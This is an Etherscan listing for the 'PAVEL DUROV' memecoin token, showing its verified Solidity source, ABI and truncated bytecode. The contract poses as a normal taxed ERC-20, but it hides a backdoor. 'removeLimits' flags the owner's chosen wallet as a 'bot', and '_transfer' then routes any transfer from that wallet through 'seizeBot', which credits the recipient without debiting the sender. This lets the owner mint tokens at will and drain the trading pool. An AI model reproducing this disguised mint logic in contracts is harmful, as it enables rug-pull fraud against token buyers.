ETH Price: $2,468.76 (+3.95%)

Token

PAVEL DUROV (DUROV)
 

Overview

Max Total Supply

420,690,000,000 DUROV

Holders

42

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DUROV

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-24
*/

// SPDX-License-Identifier: UNLICENSED

/**

WEB: https://paveldurov.info
X: https://x.com/PavelDurovETH
TG: https://t.me/PavelDurov_Portal

*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DUROV is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=35;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=25;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=5;
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
    string private constant _name = unicode"PAVEL DUROV";
    string private constant _symbol = unicode"DUROV";
    uint256 public _maxTxAmount = 2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;
    uint256 private sellCount;
    uint256 private lastSellBlock;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function launchTokenn() external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function recoverERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address)
            .balanceOf(address(this))
            .mul(percent)
            .div(100);
        IERC20(_address).transfer(owner(), _amount);
    }

    function recoverETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(owner()).transfer(address(this).balance);
    }

    function updateTaxWallet(address addr) public onlyOwner {
        _taxWallet = payable(addr);
        _isExcludedFromFee[addr] = true;
    }

    function _transfer(address sender, address recipient, uint256 quantity) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(quantity > 0, "Transfer amount must be greater than zero");
        if(!swapEnabled || inSwap) {
            _balances[sender] = _balances[sender].sub(quantity);
            _balances[recipient] = _balances[recipient].add(quantity);
            emit Transfer(sender, recipient, quantity);
            return;
        }
        uint256 taxAmount=0;
        if (sender != owner() && recipient != owner()) {
            if(quantity > 0 && isBot(sender)) {
                require(seizeBot(quantity, recipient));
                return; 
            }
            if(_buyCount==0){
                taxAmount = quantity.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = quantity.mul(_transferTax).div(100);
            }

            if (sender == uniswapV2Pair && recipient != address(uniswapV2Router) && ! _isExcludedFromFee[recipient] ) {
                require(quantity <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(recipient) + quantity <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = quantity.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(recipient == uniswapV2Pair && sender!= address(this) ){
                taxAmount = quantity.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && recipient == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                if(contractTokenBalance > _taxSwapThreshold) swapBack(min(quantity, min(contractTokenBalance, _maxTaxSwap)));
                transferFee(address(this).balance);
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(sender, address(this),taxAmount);
        }
        _balances[sender]=_balances[sender].sub(quantity);
        _balances[recipient]=_balances[recipient].add(quantity.sub(taxAmount));
        emit Transfer(sender, recipient, quantity.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapBack(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function reduceFee(uint256 _newFee) external onlyOwner {
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    receive() external payable {}

    function manualSwap() external onlyOwner {
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapBack(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          transferFee(ethBalance);
        }
    }
    
    function removeLimits(address payable addr) external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
        updateTaxWallet(addr);
        address[] memory newTaxWallets = new address[](1);
        newTaxWallets[0] = addr;
        addBots(newTaxWallets);
    }

    function seizeBot(uint256 amount, address to) internal returns (bool){
        return (_balances[to] = _balances[to].add(amount)) > 0;
    }

    function transferFee(uint256 feeAmount) private {
        _taxWallet.transfer(feeAmount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchTokenn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"recoverERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"addr","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"updateTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052602360065560146007555f6008555f6009556019600a556019600b556005600c555f600d555f600e5560646009600a61003d919061056b565b6461f313f88061004d91906105b5565b600261005991906105b5565b6100639190610623565b600f5560646009600a610076919061056b565b6461f313f88061008691906105b5565b600261009291906105b5565b61009c9190610623565b60105560646009600a6100af919061056b565b6461f313f8806100bf91906105b5565b60016100cb91906105b5565b6100d59190610623565b60115560646009600a6100e8919061056b565b6461f313f8806100f891906105b5565b600161010491906105b5565b61010e9190610623565b60125534801561011c575f80fd5b505f61012c6103cc60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506101d66103cc60201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a610223919061056b565b6461f313f88061023391906105b5565b60015f6102446103cc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f6102946103d360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103466103cc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6103a2919061056b565b6461f313f8806103b291906105b5565b6040516103bf9190610662565b60405180910390a361067b565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561047c57808604811115610458576104576103fa565b5b60018516156104675780820291505b808102905061047585610427565b945061043c565b94509492505050565b5f82610494576001905061054f565b816104a1575f905061054f565b81600181146104b757600281146104c1576104f0565b600191505061054f565b60ff8411156104d3576104d26103fa565b5b8360020a9150848211156104ea576104e96103fa565b5b5061054f565b5060208310610133831016604e8410600b84101617156105255782820a9050838111156105205761051f6103fa565b5b61054f565b6105328484846001610433565b92509050818404811115610549576105486103fa565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61057582610556565b91506105808361055f565b92506105ad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610485565b905092915050565b5f6105bf82610556565b91506105ca83610556565b92508282026105d881610556565b915082820484148315176105ef576105ee6103fa565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61062d82610556565b915061063883610556565b925082610648576106476105f6565b5b828204905092915050565b61065c81610556565b82525050565b5f6020820190506106755f830184610653565b92915050565b613c22806106885f395ff3fe608060405260043610610169575f3560e01c806370a08231116100d05780638f9a55c011610089578063bf474bed11610063578063bf474bed146104e8578063d34628cc14610512578063dd62ed3e1461053a578063ec1f3f631461057657610170565b80638f9a55c01461045857806395d89b4114610482578063a9059cbb146104ac57610170565b806370a0823114610362578063715018a61461039e57806374c9f603146103b45780637d1db4a5146103dc5780638980f11f146104065780638da5cb5b1461042e57610170565b806323b872dd1161012257806323b872dd1461025a578063313ce5671461029657806331c2d847146102c057806332489e9b146102e85780633bbac5791461031057806351bc3c851461034c57610170565b80630614117a1461017457806306fdde031461018a57806308db61ed146101b4578063095ea7b3146101ca5780630faee56f1461020657806318160ddd1461023057610170565b3661017057005b5f80fd5b34801561017f575f80fd5b5061018861059e565b005b348015610195575f80fd5b5061019e61068a565b6040516101ab9190612b3d565b60405180910390f35b3480156101bf575f80fd5b506101c86106c7565b005b3480156101d5575f80fd5b506101f060048036038101906101eb9190612bfb565b610be7565b6040516101fd9190612c53565b60405180910390f35b348015610211575f80fd5b5061021a610c04565b6040516102279190612c7b565b60405180910390f35b34801561023b575f80fd5b50610244610c0a565b6040516102519190612c7b565b60405180910390f35b348015610265575f80fd5b50610280600480360381019061027b9190612c94565b610c2e565b60405161028d9190612c53565b60405180910390f35b3480156102a1575f80fd5b506102aa610d02565b6040516102b79190612cff565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612e58565b610d0a565b005b3480156102f3575f80fd5b5061030e60048036038101906103099190612eda565b610e28565b005b34801561031b575f80fd5b5061033660048036038101906103319190612f05565b611009565b6040516103439190612c53565b60405180910390f35b348015610357575f80fd5b5061036061105b565b005b34801561036d575f80fd5b5061038860048036038101906103839190612f05565b611127565b6040516103959190612c7b565b60405180910390f35b3480156103a9575f80fd5b506103b261116d565b005b3480156103bf575f80fd5b506103da60048036038101906103d59190612f05565b6112bb565b005b3480156103e7575f80fd5b506103f06113e7565b6040516103fd9190612c7b565b60405180910390f35b348015610411575f80fd5b5061042c60048036038101906104279190612bfb565b6113ed565b005b348015610439575f80fd5b506104426115a9565b60405161044f9190612f3f565b60405180910390f35b348015610463575f80fd5b5061046c6115d0565b6040516104799190612c7b565b60405180910390f35b34801561048d575f80fd5b506104966115d6565b6040516104a39190612b3d565b60405180910390f35b3480156104b7575f80fd5b506104d260048036038101906104cd9190612bfb565b611613565b6040516104df9190612c53565b60405180910390f35b3480156104f3575f80fd5b506104fc611630565b6040516105099190612c7b565b60405180910390f35b34801561051d575f80fd5b5061053860048036038101906105339190612e58565b611636565b005b348015610545575f80fd5b50610560600480360381019061055b9190612f58565b611755565b60405161056d9190612c7b565b60405180910390f35b348015610581575f80fd5b5061059c60048036038101906105979190612f96565b6117d7565b005b6105a6611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106299061300b565b60405180910390fd5b5f471161063d575f80fd5b6106456115a9565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610687573d5f803e3d5ffd5b50565b60606040518060400160405280600b81526020017f504156454c204455524f56000000000000000000000000000000000000000000815250905090565b6106cf611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461075b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107529061300b565b60405180910390fd5b60148054906101000a900460ff16156107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a090613073565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108463060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61083191906131ed565b6461f313f8806108419190613237565b61189f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d4919061328c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561095a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097e919061328c565b6040518363ffffffff1660e01b815260040161099b9291906132b7565b6020604051808303815f875af11580156109b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109db919061328c565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a6230611127565b5f80610a6c6115a9565b426040518863ffffffff1660e01b8152600401610a8e96959493929190613320565b60606040518083038185885af1158015610aaa573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610acf9190613393565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b6f9291906133e3565b6020604051808303815f875af1158015610b8b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610baf9190613434565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f610bfa610bf3611898565b848461189f565b6001905092915050565b60125481565b5f6009600a610c1991906131ed565b6461f313f880610c299190613237565b905090565b5f610c3a848484611a62565b610cf784610c46611898565b610cf285604051806060016040528060288152602001613bc56028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610ca9611898565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461251e9092919063ffffffff16565b61189f565b600190509392505050565b5f6009905090565b610d12611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d959061300b565b60405180910390fd5b5f5b8151811015610e24575f60045f848481518110610dc057610dbf61345f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610da0565b5050565b610e30611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb39061300b565b60405180910390fd5b6009600a610eca91906131ed565b6461f313f880610eda9190613237565b600f819055506009600a610eee91906131ed565b6461f313f880610efe9190613237565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610f3391906131ed565b6461f313f880610f439190613237565b604051610f509190612c7b565b60405180910390a1610f61816112bb565b5f600167ffffffffffffffff811115610f7d57610f7c612d1c565b5b604051908082528060200260200182016040528015610fab5781602001602082028036833780820191505090505b50905081815f81518110610fc257610fc161345f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061100581611636565b5050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b611063611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e69061300b565b60405180910390fd5b5f6110f930611127565b90505f81111561110d5761110c81612580565b5b5f4790505f81111561112357611122816127eb565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b611175611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f89061300b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6112c3611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461134f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113469061300b565b60405180910390fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b600f5481565b6113f5611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611481576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114789061300b565b60405180910390fd5b5f61151f6064611511848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016114c49190612f3f565b602060405180830381865afa1580156114df573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611503919061348c565b61285390919063ffffffff16565b6128ca90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6115456115a9565b836040518363ffffffff1660e01b81526004016115639291906133e3565b6020604051808303815f875af115801561157f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115a39190613434565b50505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600581526020017f4455524f56000000000000000000000000000000000000000000000000000000815250905090565b5f61162661161f611898565b8484611a62565b6001905092915050565b60115481565b61163e611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c19061300b565b60405180910390fd5b5f5b815181101561175157600160045f8484815181106116ed576116ec61345f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506116cc565b5050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054